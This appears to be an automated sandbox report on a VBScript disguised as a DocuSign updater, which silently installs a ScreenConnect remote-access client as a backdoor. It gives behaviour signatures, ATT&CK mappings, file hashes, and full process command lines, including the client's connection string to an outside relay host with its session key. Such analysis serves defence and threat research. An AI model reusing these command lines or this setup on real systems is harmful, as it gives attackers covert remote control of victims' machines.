Overview

overview

8

Static

static

1

DocuSign-Updater.vbs

windows10-2004-x64

8

DocuSign-Updater.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    298s
  • max time network
    261s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/06/2026, 16:48

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General

  • Target
    DocuSign-Updater.vbs
  • Size 1KB
  • Sample260624-vbmbfsdw71
  • SHA256 a37576706c25fa8e777c58b7ea8ff006690f0017c4566ce1e1efda278abbd1c1
  • MD5 SHA1 SHA512 TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationratrevoked_codesign

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Deletes itself 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DocuSign-Updater.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DocuSign-Updater.vbs" /elev
      2⤵
      • Badlisted process makes network request
      • Deletes itself
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3772
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\i9u2y0.msi" /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2736
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3372
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 60D5A968ABE0696FB1E93CA3C8AC342D
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSID174.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240702109 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4480
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 86E9DDB80E2FFBD758CD78C364CDE317 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:988
  • C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.whijjkhpanel.com&p=8041&s=a285b275-2dce-4fe1-92f8-954cde83ed28&k=BgIAAACkAABSU0ExAAgAAAEAAQCJkn0QpmCtDDNJ7%2fo30LHkQg8%2fDkt82aDKG7RxgpDnfCeQaaSbX9PCx2%2bQlIjzIvrs4Ru65Ih0Uq88%2fN8lQD2KY2VQMmLDIDjB3fDDq%2bWJUSPMOw5vpI2xKV4270Tsm4VH9%2fbnDLdhQpT5xtBT7fuyqWjuEmJqBPJUQo0E1BOwcTSXNlPmSORr4jRry0ZoGSAJBIHdl6vwi8v3v0W1%2fNrkAcjk5iZjaBmKT9ynduhKgY8%2fjXw09amGDR2G7LdggCiYnLPRQ2s7oPMUFZsLprsNsZcqVIco6vj5V3JSZdZYJhY3%2fJLN2bBL4UyPj2gvsZ7S3xtBGU5Z%2fC0goNUF9TfE"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3832
    • C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe" "RunRole" "4657284e-7280-4fef-97d8-bf9d4c209c74" "User"
      2⤵
      • Executes dropped EXE
      PID:3432
    • C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe" "RunRole" "12fb0b16-d459-41a7-a4b3-7c645fc6b9db" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3292

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        2
        T1012

        System Information Discovery

        3
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e58ce99.rbs
        • Path C:\Config.Msi\e58ce99.rbs
        • Size 214KB
        • SHA256 910837c5ed4868d96ebed35569b8f6e617c949808b6946ceb6f99d66f4d4991e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.Override.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\Client.Override.resources
        • Size 20KB
        • SHA256 aac5a7ddeb41b046351191ebef9cb21fbaf0150b033d508d3323a4543c572ba2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        app.config
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (60e7ab8fa3c84736)\system.config
        • Size 948B
        • SHA256 9b6a23ea5b3458ae63afa232acf35c6462c1b871c206a5ba7d9c7f62345934c8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        i9u2y0.msi
        • Path C:\Users\Admin\AppData\Local\Temp\i9u2y0.msi
        • Size 11.2MB
        • SHA256 ad3201184270fbdf8f913a3f6370fac85dc74d91d1b2a3b4d895625914f35e56
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSID174.tmp
        • Path C:\Windows\Installer\MSID174.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSID174.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSID174.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSID174.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSID174.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSIDABD.tmp
        • Path C:\Windows\Installer\MSIDABD.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/3432-120-0x000000001B960000-0x000000001BB0C000-memory.dmp
        Download

        memory/3432-121-0x000000001BCA0000-0x000000001BE28000-memory.dmp
        Download

        memory/3432-122-0x00000000010C0000-0x00000000010D8000-memory.dmp
        Download

        memory/3432-117-0x00000000006A0000-0x0000000000738000-memory.dmp
        Download

        memory/3432-123-0x0000000002A00000-0x0000000002A18000-memory.dmp
        Download

        memory/3432-118-0x00000000010F0000-0x0000000001126000-memory.dmp
        Download

        memory/3432-119-0x000000001B720000-0x000000001B7AC000-memory.dmp
        Download

        memory/3832-99-0x0000000004A50000-0x0000000004AA0000-memory.dmp
        Download

        memory/3832-104-0x0000000004B80000-0x0000000004C12000-memory.dmp
        Download

        memory/3832-108-0x0000000004D70000-0x0000000004E45000-memory.dmp
        Download

        memory/3832-106-0x0000000004850000-0x0000000004891000-memory.dmp
        Download

        memory/3832-103-0x0000000004AA0000-0x0000000004AD6000-memory.dmp
        Download

        memory/3832-77-0x0000000001F70000-0x0000000001F88000-memory.dmp
        Download

        memory/4480-39-0x00000000061E0000-0x000000000679A000-memory.dmp
        Download

        memory/4480-38-0x0000000005A70000-0x0000000005C1C000-memory.dmp
        Download

        memory/4480-34-0x0000000005830000-0x00000000058BC000-memory.dmp
        Download

        memory/4480-30-0x0000000003780000-0x000000000378A000-memory.dmp
        Download

        memory/4480-26-0x0000000003740000-0x000000000376E000-memory.dmp
        Download